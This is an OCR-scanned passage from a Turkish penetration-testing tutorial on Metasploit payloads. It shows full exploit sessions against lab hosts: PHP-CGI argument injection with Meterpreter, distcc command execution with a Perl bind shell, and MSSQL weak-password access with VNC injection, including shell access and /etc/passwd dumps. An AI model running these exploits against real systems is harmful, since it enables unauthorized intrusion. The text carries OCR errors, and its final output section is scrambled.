Hedefe bir dosya gondererek, o dosyayi islemesi veya agmasini saglayarak bir
guvenlik agigini tetiklemek ve Payload'u yuklemek

Hedefin bir servisinin veya uygulamasinin sistemde dogrudan kabuk
kodu/uygulama/betik calistirmasindan faydalanarak Payload'u yuklemek

Hedefin sunmus oldugu uzak yoénetim, yukleme, yonetici erisimi gibi 6zellikler ile
Payload'u yuklemek

Metasploit Framework, Payload'u denetmenin hedefe farkli bir yol veya yontem ile
iletebilecegi senaryo igin de destek sunmakta ve sadece istenen Payload'u da
karsilayabilmektedir.

Her exploit kendi kisitlarina sahiptir; bellege yuklenebilecek verinin miktari, saglanan
erisimin taru, istismar edilen servis/uygulama kisitlari ve yuklenecek verideki sorun
cikarabilecek karakterler. Bu nedenle Metasploit Framework i¢inde gelistirilen exploit'ler
kisitlarini tanimlamakta ve uygun Payload'lar secilebilmektedir. Kisitlarin bir bolumu de
donusturuculer, iki asamali Payload yukleme, 6zel bir dilde Payload hazirlanmasi ile
asilabilmektedir.

Metasploit Framework i¢inde bir¢cok exploit turd ile uyumlu Payload'lar bulunmaktadir.
Payload'larin tirleri, kullanim amaclari ve segilebilecek baglanti tlrleri ¢cok cesitlidir,
neredeyse her exploit tlrd i¢cin uyumlu bir Payload bulunabilir.
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Genel kullanima hazir ve igletim sistemlerine gore degisebilen Payload turleri sunlardir.
Meterpreter Uygulamasi Yuklenmesi
VNC Servisi Yuklenmesi
Sistem Kabugu, Komut istemi
Bir Uygulama YUkleyip Calistirma
Bir Kituphane Yukleyip Calistirma
DNS TXT Kaydi ile Bir Dosya Yukleyip Calistirmak
Sistem Kamerasindan Goruntu Alma
Hedef Sisteme Kullanici Eklemek
Hedef Sistemdeki Bir Dosyanin Yetkilerini Degigtirmek
PHP/Java/JSP Dillerine Uygun Kabuklar ve Meterpreter Uygulamasi

Test veya Ornek Amach Payload tiirleri ise asadidaki gibidir.
Debug ve izleme isaretleri Kullanmak
Sistemin Konusma Uygulamasina Bir Cumle Séyletmek
Ekrana Bir Mesaj Cikarmak

Mobil Cihazin Titresimini Acmak

Yukarida listelenen Payload tirlerinin farkli kullanim amaglari olabilir, her Payload exploit
kosullarinda kullanigh veya gerekli olabilir. Segilecek exploit ile uyumlu bir Payload
kullanimi ile hedef sisteme istenen tlrde bir yetkisiz erisim saglanabilir.

3.5.1 PHP Meterpreter Kullanimi

Ornekte PHP yorumlayicisinin CGl olarak calistiginda olusan bir komut calistirabilme
acigr kullanilarak, 192.168.1.31 IP adresindeki sisteme yetkisiz erisim saglanmasi
gosterilmektedir. A¢igin kullanimi igin sistemde PHP yorumlayicisinin 5.3.12 ve 5.4.2
oncesi surumlerde olmasi, yorumlayicinin CGI olarak g¢alismasi gerekmektedir. Bu
noktada kullanilabilecek farkli PAYLOAD alternatifleri arasindan Meterpreter'in PHP
suruma tercih edilmigtir. Meterpreter'in PHP sirumu, Meterpreter uygulamasinin kisitli
bir surimudur ve tim modul desteklerini barindirmamaktadir. Buna ragmen sisteme
yetkisiz erisim saglanmasi, istenen islemlerin yapilabilmesi, kabuk ortami sunmasi ve
yetki yUkseltebilecek bir erisime sahip olunmasi adina oldukg¢a kullanighdir.
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msf > use exploit/multi/http/php_cgi_arg_injection
msf exploit(php_cgi_arg_injection) > info

Name: PHP CGI Argument Injection
Module: exploit/multi/http/php_cgi_arg_injection
Version: $Revision$
Platform: PHP
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent

Provided by:
egypt <egypt@metasploit.com>
hdm <hdm@metasploit.com>
jjarmoc

Available targets:
Id Name

0 Automatic

Basic options:

Name Current Setting Required Description

Proxies no Use a proxy chain

RHOST yes The target address

RPORT 80 yes The target port

TARGETURI no The URI to request (must be a CGI-handled PHP
script)

URIENCODING © yes Level of URI URIENCODING and padding (@ for
minimum)

VHOST no HTTP server virtual host

Payload information:
Space: 262144

Description:
When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable
to an argument injection vulnerability. This module takes advantage
of the -d flag to set php.ini directives to achieve code execution.
From the advisory: "if there is NO unescaped '=' in the query
string, the string is split on '+' (encoded space) characters,
urldecoded, passed to a function that escapes shell metacharacters
(the "encoded in a system-defined manner" from the RFC) and then
passes them to the CGI binary."

References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1823
http://www.osvdb.org/81633
http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
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msf exploit(php_cgi_arg_injection) > set RHOST 192.168.1.31

RHOST => 192.168.1.31

msf exploit(php_cgi_arg_injection) > set PAYLOAD php/meterpreter/bind_tcp
PAYLOAD => php/meterpreter/bind_tcp

msf exploit(php_cgi_arg_injection) > show options

Module options (exploit/multi/http/php_cgi_arg_injection):

Name Current Setting Required Description

Proxies no Use a proxy chain

RHOST 192.168.1.31 yes The target address

RPORT 80 yes The target port

TARGETURI no The URI to request (must be a CGI-handled PHP
script)

URIENCODING 0 yes Level of URI URIENCODING and padding (0 for
minimum)

VHOST no HTTP server virtual host

Payload options (php/meterpreter/bind_tcp):

Name Current Setting Required Description

LPORT 4444 yes The listen port
RHOST 192.168.1.31 no The target address

Exploit target:

Id Name

0 Automatic

msf exploit(php_cgi_arg_injection) > exploit

[*] Started bind handler

[*] Sending stage (39217 bytes) to 192.168.1.31

[*] Meterpreter session 2 opened (192.168.1.11:57290 -> 192.168.1.31:4444) at 2012-09-14
09:57:46 +0300

meterpreter > help

Core Commands

Command Description
? Help menu
background Backgrounds the current session
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disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings

Stdapi: File system Commands

Command Description

cat Read the contents of a file to the screen
cd Change directory

download Download a file or directory
edit Edit a file

getlwd Print local working directory
getwd Print working directory

lcd Change local working directory
1pwd Print local working directory
1s List files

mkdir Make directory

pwd Print working directory

rm Delete the specified file
rmdir Remove directory

search Search for files

upload Upload a file or directory

Stdapi: Networking Commands

Command Description

portfwd Forward a local port to a remote service

bgkill Kills a background meterpreter script

bglist Lists running background scripts

bgrun Executes a meterpreter script as a background thread
channel Displays information about active channels

close Closes a channel

exit Terminate the meterpreter session

help Help menu

info Displays information about a Post module
interact Interacts with a channel

irb Drop into irb scripting mode

load Load one or more meterpreter extensions
quit Terminate the meterpreter session

read Reads data from a channel

resource Run the commands stored in a file

run Executes a meterpreter script or Post module
use Deprecated alias for 'load'

write Writes data to a channel
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Stdapi: System Commands

Command Description

execute Execute a command

getpid Get the current process identifier

getuid Get the user that the server is running as

kill Terminate a process

ps List running processes

shell Drop into a system command shell

sysinfo Gets information about the remote system, such as 0S

meterpreter > getpid

Current pid: 6273

meterpreter > getuid

Server username: www-data (33)

meterpreter > shell

Process 6307 created.

Channel 0 created.

uname -a

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 1686 GNU/Linux
cat /etc/passwd

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon: /usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh

sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games: /usr/games: /bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:1p:/var/spool/1lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:X:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:1ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody: /nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/1libuuid: /bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog: /bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd: /usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin: /bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534:: /home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
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mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534:: /usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service: /bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
snmp:x:115:65534::/var/1lib/snmp:/bin/false

PHP CGI Acigi ile Yetkisiz Erisim Kazanmak ve PHP/Meterpreter Yiklenmesi
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3.5.2 Perl ile Interaktif Kabuk Baglamak

DistCC servisindeki bir guvenlik agiginin kullanimi ve Linux sunucuya yetkisiz erigimi
iceren bir baska guvenlik agiginin kullanimi da asagida goértlmektedir. Secilen guvenlik
acigi ile uyumlu Payload'lar arasinda verilen bir komutun calistiriimasi veya Perl/Ruby
gibi bir yardimci ile interaktif kabuk baglanmasi segenekler vardir. 192.168.1.31 IP
adresindeki sistemin DistCC guvenlik acigi istismar edilmis ve Payload olarak Perl ile
saglanmis bir kabuk kullaniimigtir.

msf > use payload/cmd/unix/bind_perl
msf payload(bind_perl) > info

Name: Unix Command Shell, Bind TCP (via Perl)
Module: payload/cmd/unix/bind_perl
Version: 15721
Platform: Unix
Arch: cmd
Needs Admin: No
Total size: 151
Rank: Normal

Provided by:
Samy <samy@samy.pl>
cazz <bmc@shmoo.com>

Basic options:
Name Current Setting Required Description

LPORT 4444 yes The listen port
RHOST no The target address
Description:

Listen for a connection and spawn a command shell via perl

msf > hosts

address mac name 0S_name os_flavor os_sp
purpose 1info comments

192.168.1.31 08:00:27:20:51:9D metasploitable Linux Ubuntu

server

192.168.1.32 00:0c:29:dc:38:09 HACMEONE Microsoft Windows XP SP2
device
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msf > use exploit/unix/misc/distcc_exec
msf exploit(distcc_exec) > info
Name: DistCC Daemon Command Execution
Module: exploit/unix/misc/distcc_exec
Version: 15473
Platform: Unix
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Provided by:
hdm <hdm@metasploit.com>
Available targets:
Id Name
0 Automatic Target
Basic options:
Name Current Setting Required Description
RHOST yes The target address
RPORT 3632 yes The target port
Payload information:
Space: 1024
Description:
This module uses a documented security weakness to execute arbitrary
commands on any system running distccd.
References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2004-2687
http://www.osvdb.org/13378
http://distcc.samba.org/security.html
msf exploit(distcc_exec) > set PAYLOAD cmd/unix/
set PAYLOAD cmd/unix/bind_perl set PAYLOAD cmd/unix/generic
set PAYLOAD cmd/unix/bind_perl_ipv6 set PAYLOAD cmd/unix/reverse
set PAYLOAD cmd/unix/bind_ruby set PAYLOAD cmd/unix/reverse_perl
set PAYLOAD cmd/unix/bind_ruby_ipv6 set PAYLOAD cmd/unix/reverse_ruby
msf exploit(distcc_exec) > set PAYLOAD cmd/unix/bind_perl
PAYLOAD => cmd/unix/bind_perl
msf exploit(distcc_exec) > show options
Module options (exploit/unix/misc/distcc_exec):
Name Current Setting Required Description
RHOST 192.168.1.31 yes The target address
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RPORT 3632 yes The target port
Payload options (cmd/unix/bind_perl):

Name Current Setting Required Description
LPORT 4444 yes The listen port
RHOST 192.168.1.31 no The target address

Exploit target:

Id Name

0 Automatic Target
msf exploit(distcc_exec) > exploit

[*] Started bind handler
[*] Command shell session 3 opened (192.168.1.11:60508 -> 192.168.1.31:4444) at
2012-09-14 10:18:06 +0300

uname -a

cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon: /usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games: /usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
1p:x:7:7:1p:/var/spool/1lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:X:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:1ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody: /nonexistent:/bin/sh
1ibuuid:x:100:101::/var/1lib/1libuuid: /bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd: /usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 1686 GNU/Linux
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postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534: : /usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001: just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
snmp:X:115:65534::/var/lib/snmp:/bin/false

DistCC Servinin Glvenlik Agigi Kullanilarak Perl ile Interaktif Kabuk Baglamak
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3.5.3 VNC Baglantisi Kurulmasi

Bir bagka Payload kullanim oOrnegi ise VNC servisinin hedef sisteme ylklenmesi ve
kanallar Gzerinden kullanimidir. VNC Payload'unun birgok farkli kullanimi bulunmaktadir;
bir exploit islemi sonucunda yuklemek, hazirlanmis bir kod ile hedefe géondermek veya
hedefte bulunan Meterpreter iginden tetikleyerek calistirmak en sik kullanilan
yontemlerdir. Asagida Microsoft SQL sunucusunun yonetici parolasinin kolay tahmin
edilebilir olmasi durumunda yetkisiz erisim saglanmasina bir ornek bulunmaktadir.
Calistirllacak Payload igin VNC servisi kullaniimis ve hedef sisteme VNC ile yetkisiz
erisim saglanmistir. VNC servisi, 6zel hazirlanmig bir DLL'dir ve hedef sistemde kurulum
veya yapilandirma istememektedir. Calistirma sirasinda verilecek parametreler ile
calismaktadir, hedef sistem ile denetmen sistemi arasindaki VNC baglanti sdrecini
Metasploit Framework yurutmekte ve denetmen sistemi Uzerinde bir yansi sistemi ile
standart VNC istemcilerinin baglanabilmesine imkan saglamaktadir. Bu karmasik
aktarim yontemi igin icine NAT (Network Address Translation) girdigi andan itibaren bir
miktar daha karigmaktadir, bu konuya 6zel ag kosullarinda oturum elde etme basliginda
ayrica deginilecektir.

Ornekte 192.168.1.32 sistemindeki Microsoft SQL sunucusuna erisim saglanmis ve VNC
servisi segilmigtir, denetmenin kendi sistemindeki dahili 127.0.0.1 IP adresindeki 5900
nolu porttan VNC yansi servisi sunulmakta olacaktir. Metasploit Framework, yukli
oldugu sistemde bir VNC istemcisi var ise otomatik olarak agabilmektedir. Eger bir VNC
istemci bulunmuyor veya Metasploit Framework tarafindan taninmiyor ise uygun gorilen
bir VNC istemcisi ile 127.0.0.1:5900 servisine erigsim saglanabilir.

msf > hosts

address mac name 0S_name os_flavor os_sp
purpose 1info comments

192.168.1.31 08:00:27:20:51:9D metasploitable Linux Ubuntu

server
192.168.1.32 00:0c:29:dc:38:09 HACMEONE Microsoft Windows XP SP2
device
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msf > services -S mssql

Services

host port proto name state 1info

192.168.1.32 1434 udp mssql open  tcp=1433 np=\\HACMEONE\pipe\\sql\query
Version=8.00.194 InstanceName=MSSQLSERVER IsClustered=No ServerName=HACMEONE

msf > search mssql

Matching Modules

Name Disclosure Date
Rank Description

auxiliary/admin/mssql/mssql_enum

normal Microsoft SQL Server Configuration Enumerator
auxiliary/admin/mssql/mssql_exec

normal Microsoft SQL Server xp_cmdshell Command Execution
auxiliary/admin/mssql/mssql_idf

normal Microsoft SQL Server - Interesting Data Finder
auxiliary/admin/mssql/mssql_sql

normal Microsoft SQL Server Generic Query
auxiliary/admin/mssql/mssql_sql_file

normal Microsoft SQL Server Generic Query from File
auxiliary/analyze/jtr_mssql_fast

normal John the Ripper MS SQL Password Cracker (Fast Mode)
auxiliary/scanner/mssql/mssql_hashdump

normal MSSQL Password Hashdump

auxiliary/scanner/mssql/mssql_login
normal MSSQL Login Utility

auxiliary/scanner/mssql/mssql_ping
normal MSSQL Ping Utility

auxiliary/scanner/mssql/mssql_schemadump

normal MSSQL Schema Dump
auxiliary/server/capture/mssql
normal Authentication Capture: MSSQL
exploit/windows/iis/msadc 1998-07-17 00:00:00 UTC
excellent Microsoft IIS MDAC msadcs.dll RDS Arbitrary Remote Command Execution
exploit/windows/mssql/lyris_listmanager_weak_pass 2005-12-08 00:00:00 UTC
excellent Lyris ListManager MSDE Weak sa Password
exploit/windows/mssql/ms02_039_slammer 2002-07-24 00:00:00 UTC
good Microsoft SQL Server Resolution Overflow
exploit/windows/mssql/ms02_056_hello 2002-08-05 00:00:00 UTC
good Microsoft SQL Server Hello Overflow
exploit/windows/mssql/ms09_004_sp_replwritetovarbin 2008-12-09 00:00:00 UTC
good Microsoft SQL Server sp_replwritetovarbin Memory Corruption
exploit/windows/mssql/ms@9 004 sp replwritetovarbin _sqli 2008-12-09 00:00:00 UTC
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excellent Microsoft SQL Server sp_replwritetovarbin Memory Corruption via SQL Injection

exploit/windows/mssql/mssql_payload 2000-05-30 00:00:00 UTC
excellent Microsoft SQL Server Payload Execution
exploit/windows/mssql/mssql_payload_sqli 2000-05-30 00:00:00 UTC

excellent Microsoft SQL Server Payload Execution via SQL Injection

msf > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > info

Name: Microsoft SQL Server Payload Execution
Module: exploit/windows/mssql/mssql_payload
Version: 14774
Platform: Windows
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent

Provided by:
David Kennedy "RelL1K" <kennedyd@13@gmail.com>
jduck <jduck@metasploit.com>

Available targets:
Id Name
0 Automatic
Basic options:

Name Current Setting Required Description

METHOD cmd yes Which payload delivery method to use
(ps, cmd, or old)

PASSWORD no The password for the specified
username

RHOST yes The target address

RPORT 1433 yes The target port

USERNAME sa no The username to authenticate as

USE_WINDOWS_AUTHENT false yes Use windows authentification (requires

DOMAIN option set)
Payload information:

Description:
This module executes an arbitrary payload on a Microsoft SQL Server
by using the "xp_cmdshell" stored procedure. Currently, three
delivery methods are supported. First, the original method uses
Windows 'debug.com'. File size restrictions are avoidied by
incorporating the debug bypass method presented by SecureStat at
Defcon 17. Since this method invokes ntvdm, it is not available on
x86_64 systems. A second method takes advantage of the Command
Stager subsystem. This allows using various techniques, such as
using a TFTP server, to send the executable. By default the Command
Stager uses 'wcsript.exe' to generate the executable on the target.
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Finally, ReL1K's latest method utilizes PowerShell to transmit and
recreate the payload on the target. NOTE: This module will leave a
payload executable on the target system when the attack is finished.
References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2000-0402
http://www.osvdb.org/557
http://www.securityfocus.com/bid/1281
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2000-1209
http://www.osvdb.org/15757
http://www.securityfocus.com/bid/4797
msf exploit(mssql_payload) > set PAYLOAD windows/vncinject/bind_tcp
PAYLOAD => windows/vncinject/bind_tcp
msf exploit(mssql_payload) > set PASSWORD PASSWORD
PASSWORD => PASSWORD
msf exploit(mssql_payload) > set RHOST 192.168.1.32
RHOST => 192.168.1.32
msf exploit(mssql_payload) > show options
Module options (exploit/windows/mssql/mssql_payload):
Name Current Setting Required Description
METHOD cmd yes Which payload delivery method to use
(ps, cmd, or old)
PASSWORD PASSWORD no The password for the specified
username
RHOST 192.168.1.32 yes The target address
RPORT 1433 yes The target port
USERNAME sa no The username to authenticate as
USE_WINDOWS_AUTHENT false yes Use windows authentification
(requires DOMAIN option set)
Payload options (windows/vncinject/bind_tcp):
Name Current Setting Required Description
AUTOVNC  true yes Automatically launch VNC viewer if present
EXITFUNC process yes Exit technique: seh, thread, process, none
LPORT 4444 yes The listen port
RHOST 192.168.1.32 no The target address
VNCHOST  127.0.0.1 yes The local host to use for the VNC proxy
VNCPORT 5900 yes The local port to use for the VNC proxy
Exploit target:
Id Name
0 Automatic
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msf exploit(mssql_payload) > exploit
[*] Started bind handler
[*] Command Stager progress 1.47% done (1499/102246 bytes)
[*] Command Stager progress 2.93% done (2998/102246 bytes)
[*] Command Stager progress 4.40% done (4497/102246 bytes)
[*] Command Stager progress 5.86% done (5996/102246 bytes)
[*] Command Stager progress 7.33% done (7495/102246 bytes)
[*] Command Stager progress 8.80% done (8994/102246 bytes)
[*] Command Stager progress 10.26% done (10493/102246 bytes)
[*] Command Stager progress 11.73% done (11992/102246 bytes)
[*] Command Stager progress 13.19% done (13491/102246 bytes)
[*] Command Stager progress 14.66% done (14990/102246 bytes)
[*] Command Stager progress 16.13% done (16489/102246 bytes)
[*] Command Stager progress 17.59% done (17988/102246 bytes)
[*] Command Stager progress 19.06% done (19487/102246 bytes)
[*] Command Stager progress 20.53% done (20986/102246 bytes)
[*] Command Stager progress 21.99% done (22485/102246 bytes)
[*] Command Stager progress 23.46% done (23984/102246 bytes)
[*] Command Stager progress 24.92% done (25483/102246 bytes)
[*] Command Stager progress 26.39% done (26982/102246 bytes)
[*] Command Stager progress 27.86% done (28481/102246 bytes)
[*] Command Stager progress 29.32% done (29980/102246 bytes)
[*] Command Stager progress 30.79% done (31479/102246 bytes)
[*] Command Stager progress 32.25% done (32978/102246 bytes)
[*] Command Stager progress 33.72% done (34477/102246 bytes)
[*] Command Stager progress 35.19% done (35976/102246 bytes)
[*] Command Stager progress 36.65% done (37475/102246 bytes)
[*] Command Stager progress 38.12% done (38974/102246 bytes)
[*] Command Stager progress 39.58% done (40473/102246 bytes)
[*] Command Stager progress 41.05% done (41972/102246 bytes)
[*] Command Stager progress 42.52% done (43471/102246 bytes)
[*] Command Stager progress 43.98% done (44970/102246 bytes)
[*] Command Stager progress 45.45% done (46469/102246 bytes)
[*] Command Stager progress 46.91% done (47968/102246 bytes)
[*] Command Stager progress 48.38% done (49467/102246 bytes)
[*] Command Stager progress 49.85% done (50966/102246 bytes)
[*] Command Stager progress 51.31% done (52465/102246 bytes)
[*] Command Stager progress 52.78% done (53964/102246 bytes)
[*] Command Stager progress 54.24% done (55463/102246 bytes)
[*] Command Stager progress 55.71% done (56962/102246 bytes)
[*] Command Stager progress 57.18% done (58461/102246 bytes)
[*] Command Stager progress 58.64% done (59960/102246 bytes)
[*] Command Stager progress 60.11% done (61459/102246 bytes)
[*] Command Stager progress 61.58% done (62958/102246 bytes)
[*] Command Stager progress 63.04% done (64457/102246 bytes)
[*] Command Stager progress 64.51% done (65956/102246 bytes)
[*] Command Stager progress 65.97% done (67455/102246 bytes)
[*] Command Stager progress 67.44% done (68954/102246 bytes)
[*] Command Stager progress 68.91% done (70453/102246 bytes)
[*] Command Stager progress 70.37% done (71952/102246 bytes)
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] Command Stager progress - 71.84% done (73451/102246 bytes)
] Command Stager progress - 73.30% done (74950/102246 bytes)
] Command Stager progress - 74.77% done (76449/102246 bytes)
] Command Stager progress - 76.24% done (77948/102246 bytes)
] Command Stager progress - 77.70% done (79447/102246 bytes)
] Command Stager progress - 79.17% done (80946/102246 bytes)
] Command Stager progress - 80.63% done (82445/102246 bytes)
] Command Stager progress - 82.10% done (83944/102246 bytes)
] Command Stager progress - 83.57% done (85443/102246 bytes)
] Command Stager progress - 85.03% done (86942/102246 bytes)
] Command Stager progress - 86.50% done (88441/102246 bytes)
] Command Stager progress - 87.96% done (89940/102246 bytes)
] Command Stager progress - 89.43% done (91439/102246 bytes)
] Command Stager progress - 90.90% done (92938/102246 bytes)
] Command Stager progress - 92.36% done (94437/102246 bytes)
] Command Stager progress - 93.83% done (95936/102246 bytes)
] Command Stager progress - 95.29% done (97435/102246 bytes)
] Command Stager progress - 96.76% done (98934/102246 bytes)
] Command Stager progress - 98.19% done (100400/102246 bytes)
] Command Stager progress - 99.59% done (101827/102246 bytes)
] Command Stager progress - 100.00% done (102246/102246 bytes)
] Sending stage (445440 bytes) to 192.168.1.32

] Starting local TCP relay on 127.0.0.1:5900...

] Local TCP relay started.

1 Launched vncviewer.

] Session 4 created in the background.

Microsoft SQL Sunucusunun Yoénetici Parolasi ile Yetkisiz Erisim ve VNC Servisi Kurulumu

VNC servisi ile sadece araylz erisim saglanabilecegi ve sistem kilitli ise bu erisimin bir
anlami olmayabilecegi ortadadir. Bu noktada 6zel bir ¢gozim daha vardir, VNC servisi ile
beraber sistemde bir de komut satiri acilmaktadir. Boylece Kilitli bir sistemde bile kilit
ekraninin 6ninde “Metasploit Courtesy Shell” isminde bir komut ekrani olacaktir. Bu
ekrandan caligtirilabilecek grafik arayuzli uygulamalar ve Explorer uygulamasi, Kilitli
ekrana ragmen oldukca basarili bicimde galisacaktir. istenirse exploit islemi éncesinde
DisableCourtesyShell parametresi ile true/false secimleri yapilarak agilabilir veya
kapatilabilir.
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TightVNC: hacmeone

Metasploit Courtesy Shell |

Microsoft Windows XP im 5.1.26081
(C> Telif Hakki 1985-28@1 Microsoft Corp.

C:“\WINDOWS s ystem32>

Microsoft”

....
Windows Holden

Baslamak i¢in kullanici adinizi segin

[@) Bilgisayari Kapat Oturum actktan so s

plan'ni tiklatin,

VNC Servisine Baglaniimasi ve Metasploit Courtesy Shell Gérinima
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3.6 Farkh Baglanti Kosullarinda Oturum Elde Etme

Exploit isleminin tlrl ve calistirilacak Payload'un 6zellikleri, hedef sistem ile iletisimin
turdne kritik bicimde baghdir. Hedef sistem ile denetmen sistemi arasinda bir veya daha
fazla glvenlik duvari, Proxy sunucular, NAT (Network Address Translation) kullanimi
onemli farklar olusturmaktadir. Hedef sistemin sadece bir portuna erisim saglaniyorsa
sergilenecek davranis ve segilecek Payload, olasi NAT yapilandirmasinda ¢alismayabilir.
Ornek senaryolar ve bu senaryolarda exploit isleminin ve Payload'un nasil
yapilandirilacagi asagida izah edilmistir.

3.6.1 Hedef Sistem ile Baglanti Saglamadan Komut Calistirmak

Hedef sistemin, sadece belirli bir porttan servis sunmak disinda dis aglarla hicgbir
baglantisi bulunmayabilir. Hedef sistemin Internet'ten bir DNS sorgulamasi, HTTP istegi
veya belirli bir porttan erigsim saglanmasi gibi yapacagi tum iglemler bir glvenlik duvari
tarafindan engelleniyor olabilir. Bu durumda erisim saglanan servisin bir glvenlik agigi
kullanilacaksa, tek hamlelik kullanimi olan Payload'lar segilmelidir. Payload'larin icinde
exec ifadesi gecgenler, kullanici ekleme temelli olanlar veya interact islemi yapanlar bu
noktada uygun segimlerdir. Belirli bir komutu calistirir, kullanici ekleyebilir veya varolan
oturum Uzerinden surece devam edilebilir.

Asagidaki ornekte Microsoft SQL sunucusunun yonetici parolasi kullanilarak sadece bir
komut calistirma érneklenmistir. Bu noktada hedef sistemle Microsoft SQL servisi portu
olan 1433 disinda herhangi bir porttan erisim kurulmamigtir. Hedef sistemde verdigimiz
komut calistigi icin galisma dizini icinde deneme isminde bir dizin olusturulmustur.

msf > use exploit/windows/mssql/mssql_payload

msf exploit(mssql_payload) > set PAYLOAD windows/exec
PAYLOAD => windows/exec

msf exploit(mssql_payload) > set CMD "md deneme"

CMD => md deneme

msf exploit(mssql_payload) > show options

Module options (exploit/windows/mssql/mssql_payload):

Name Current Setting Required Description

METHOD cmd yes Which payload delivery method to use
(ps, cmd, or old)

PASSWORD PASSWORD no The password for the specified
username

RHOST 192.168.1.32 yes The target address
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RPORT
USERNAME

Name

CMD

Id Name

[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command
[*] Command

Current Setting Required

1433

Sa

USE_WINDOWS_AUTHENT false
(requires DOMAIN option set)

md deneme

Exploit target:

0 Automatic

Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager

EXITFUNC process

msf exploit(mssql_payload)

progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress

Payload options (windows/exec):

yes
yes

exploit

o N AN

A4T7%
.93%
.40%
.86%
.33%
.80%
10.
11.
13.
14.
16.
17.
19.
20.
21.
23.
24.
26.
27.
29.
30.
32.
33.
35.
36.
38.
39.
41.

26%
73%
19%
66%
13%
59%
06%
53%
99%
46%
92%
39%
86%
32%
79%
25%
72%
19%
65%
12%
58%
05%

yes
no
yes

Description

The command string to execute
Exit technique: seh, thread, process, none

done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done

(1499/102246

(2998/102246

(4497/102246

(5996/102246

(7495/102246

